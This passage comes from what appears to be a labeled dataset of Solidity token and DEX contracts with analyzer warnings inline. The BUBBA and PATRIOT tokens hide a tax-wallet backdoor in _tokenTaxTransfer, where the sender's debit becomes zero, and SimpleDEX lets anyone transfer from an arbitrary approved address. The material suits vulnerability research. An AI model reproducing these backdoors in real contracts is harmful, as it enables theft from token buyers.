constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract BUBBA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private bots;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n string private constant _name = unicode\"BRIAN ARMSTRONGS DOG\";\n\n string private constant _symbol = unicode\"BUBBA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 97d7050): BUBBA._initialBuyTax should be constant \n\t// Recommendation for 97d7050: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12e2753): BUBBA._initialSellTax should be constant \n\t// Recommendation for 12e2753: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73477bd): BUBBA._finalBuyTax should be constant \n\t// Recommendation for 73477bd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43068f9): BUBBA._finalSellTax should be constant \n\t// Recommendation for 43068f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e784c93): BUBBA._reduceBuyTaxAt should be constant \n\t// Recommendation for e784c93: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42568f7): BUBBA._reduceSellTaxAt should be constant \n\t// Recommendation for 42568f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 165eb08): BUBBA._preventSwapBefore should be constant \n\t// Recommendation for 165eb08: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: de2b7f0): BUBBA._taxWallet should be immutable \n\t// Recommendation for de2b7f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee33b69): BUBBA._taxSwapThreshold should be constant \n\t// Recommendation for ee33b69: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 170000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 142a143): BUBBA._maxTaxSwap should be constant \n\t// Recommendation for 142a143: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 150000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8a8c67): BUBBA.uniScoreAvg should be constant \n\t// Recommendation for f8a8c67: Add the 'constant' attribute to state variables that never change.\n uint256 private uniScoreAvg = 0;\n\n struct UniScoreCheckerInfo {\n uint256 initUniCheck;\n uint256 changedScore;\n uint256 replacedCheck;\n }\n\n uint256 private autoUniCheck = 0;\n\n mapping(address => UniScoreCheckerInfo) private uniScoreCheckerInfo;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _taxWallet = payable(0x7aEaD706Cc5089Bc1B4ab4C09e58eae46Fbe6488);\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76ff473): BUBBA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76ff473: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0e66a3f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0e66a3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 720f987): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 720f987: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0e66a3f\n\t\t// reentrancy-benign | ID: 720f987\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0e66a3f\n\t\t// reentrancy-benign | ID: 720f987\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ef7164d): BUBBA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ef7164d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 720f987\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0e66a3f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 830afe3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 830afe3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 704f28c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 704f28c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2183a2e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2183a2e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n tokenAmount > 0,\n \"Token: Transfer amount must be greater than zero\"\n );\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 830afe3\n\t\t\t\t// reentrancy-benign | ID: 704f28c\n\t\t\t\t// reentrancy-eth | ID: 2183a2e\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 830afe3\n\t\t\t\t\t// reentrancy-eth | ID: 2183a2e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[to] || _isExcludedFromFee[from]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 704f28c\n autoUniCheck = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (uniswapV2Pair != to) {\n UniScoreCheckerInfo storage uniCheckState = uniScoreCheckerInfo[\n to\n ];\n\n if (from == uniswapV2Pair) {\n if (uniCheckState.initUniCheck == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 704f28c\n uniCheckState.initUniCheck = _preventSwapBefore >=\n _buyCount\n ? ~uint256(0)\n : block.number;\n }\n } else {\n UniScoreCheckerInfo\n storage uniCheckUpdate = uniScoreCheckerInfo[from];\n\n if (\n uniCheckState.initUniCheck >\n uniCheckUpdate.initUniCheck ||\n uniCheckState.initUniCheck == 0\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 704f28c\n uniCheckState.initUniCheck = uniCheckUpdate\n .initUniCheck;\n }\n }\n } else if (swapEnabled) {\n UniScoreCheckerInfo\n storage uniCheckUpdate = uniScoreCheckerInfo[from];\n\n\t\t\t\t// reentrancy-benign | ID: 704f28c\n uniCheckUpdate.replacedCheck =\n uniCheckUpdate.initUniCheck -\n autoUniCheck;\n\n\t\t\t\t// reentrancy-benign | ID: 704f28c\n uniCheckUpdate.changedScore = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 830afe3\n\t\t// reentrancy-eth | ID: 2183a2e\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 2183a2e\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 2183a2e\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 830afe3\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : uniScoreAvg.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2183a2e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 830afe3\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0e66a3f\n\t\t// reentrancy-events | ID: 830afe3\n\t\t// reentrancy-benign | ID: 704f28c\n\t\t// reentrancy-benign | ID: 720f987\n\t\t// reentrancy-eth | ID: 2183a2e\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function saveStuck() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0e66a3f\n\t\t// reentrancy-events | ID: 830afe3\n\t\t// reentrancy-eth | ID: 2183a2e\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53879f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53879f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c4daf99): BUBBA.enableTrading() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c4daf99: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a7e335b): BUBBA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(router),type()(uint256).max)\n\t// Recommendation for a7e335b: Ensure that all the return values of the function calls are used.\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n _approve(address(this), address(router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 53879f4\n uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 53879f4\n\t\t// unused-return | ID: c4daf99\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 53879f4\n\t\t// unused-return | ID: a7e335b\n IERC20(uniswapV2Pair).approve(address(router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 53879f4\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10781.sol",
"size_bytes": 22614,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n}\n\ncontract SimpleDEX {\n\t// WARNING Optimization Issue (immutable-states | ID: 549f1e3): SimpleDEX.owner should be immutable \n\t// Recommendation for 549f1e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n event TokenSwapped(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can call this function\");\n\n _;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f7ba78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f7ba78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: d9bb2af): SimpleDEX.transferWithApproval(IERC20,address,address,uint256) uses arbitrary from in transferFrom require(bool,string)(token.transferFrom(from,to,amount),Token transfer failed)\n\t// Recommendation for d9bb2af: Use 'msg.sender' as 'from' in 'transferFrom'.\n function transferWithApproval(\n IERC20 token,\n address from,\n address to,\n uint256 amount\n ) public {\n uint256 allowance = token.allowance(from, address(this));\n\n require(allowance >= amount, \"Token allowance too low\");\n\n\t\t// reentrancy-events | ID: 5f7ba78\n\t\t// arbitrary-send-erc20 | ID: d9bb2af\n require(token.transferFrom(from, to, amount), \"Token transfer failed\");\n\n\t\t// reentrancy-events | ID: 5f7ba78\n emit TokenSwapped(from, to, amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f4993bf): SimpleDEX.withdrawTokens(IERC20,uint256) ignores return value by token.transferFrom(address(this),owner,amount)\n\t// Recommendation for f4993bf: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawTokens(IERC20 token, uint256 amount) public onlyOwner {\n require(\n token.balanceOf(address(this)) >= amount,\n \"Insufficient balance\"\n );\n\n\t\t// unchecked-transfer | ID: f4993bf\n token.transferFrom(address(this), owner, amount);\n }\n}\n",
"file_name": "solidity_code_10782.sol",
"size_bytes": 2908,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ncontract PATRIOT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n string private constant _name = unicode\"PATRIOT\";\n\n string private constant _symbol = unicode\"PATRIOT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c5c775): PATRIOT._initialBuyTax should be constant \n\t// Recommendation for 8c5c775: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 292661e): PATRIOT._initialSellTax should be constant \n\t// Recommendation for 292661e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: c877d14): PATRIOT._finalBuyTax should be constant \n\t// Recommendation for c877d14: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 787a473): PATRIOT._finalSellTax should be constant \n\t// Recommendation for 787a473: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1184f5a): PATRIOT._reduceBuyTaxAt should be constant \n\t// Recommendation for 1184f5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe6a51d): PATRIOT._reduceSellTaxAt should be constant \n\t// Recommendation for fe6a51d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a7ad23): PATRIOT._preventSwapBefore should be constant \n\t// Recommendation for 1a7ad23: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65d1cf5): PATRIOT._taxSwapThreshold should be constant \n\t// Recommendation for 65d1cf5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 6050000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2fd6b5): PATRIOT._maxTaxSwap should be constant \n\t// Recommendation for e2fd6b5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 7000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable _uniswapRouter;\n\n struct BurnRecord {\n uint256 burnV2Index;\n uint256 burnUsd;\n uint256 burnPrice;\n }\n\n uint256 private maxVaultBurn;\n\n mapping(address => BurnRecord) private burnVault;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc91c14): PATRIOT.burnActiveVault should be constant \n\t// Recommendation for cc91c14: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2084eec): PATRIOT.burnActiveVault is never initialized. It is used in PATRIOT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2084eec: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnActiveVault;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ddbcdc4): PATRIOT._taxWallet should be immutable \n\t// Recommendation for ddbcdc4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x685B94D959887AbA76f249454A52284aA555A035);\n\n _uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[address(this)] = true;\n\n _excludedFromLimits[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac1fdaf): PATRIOT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ac1fdaf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d3e854a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d3e854a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 024f26a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 024f26a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d3e854a\n\t\t// reentrancy-benign | ID: 024f26a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d3e854a\n\t\t// reentrancy-benign | ID: 024f26a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 123b5a9): PATRIOT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 123b5a9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 024f26a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d3e854a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c7435e7): Reentrancies (see 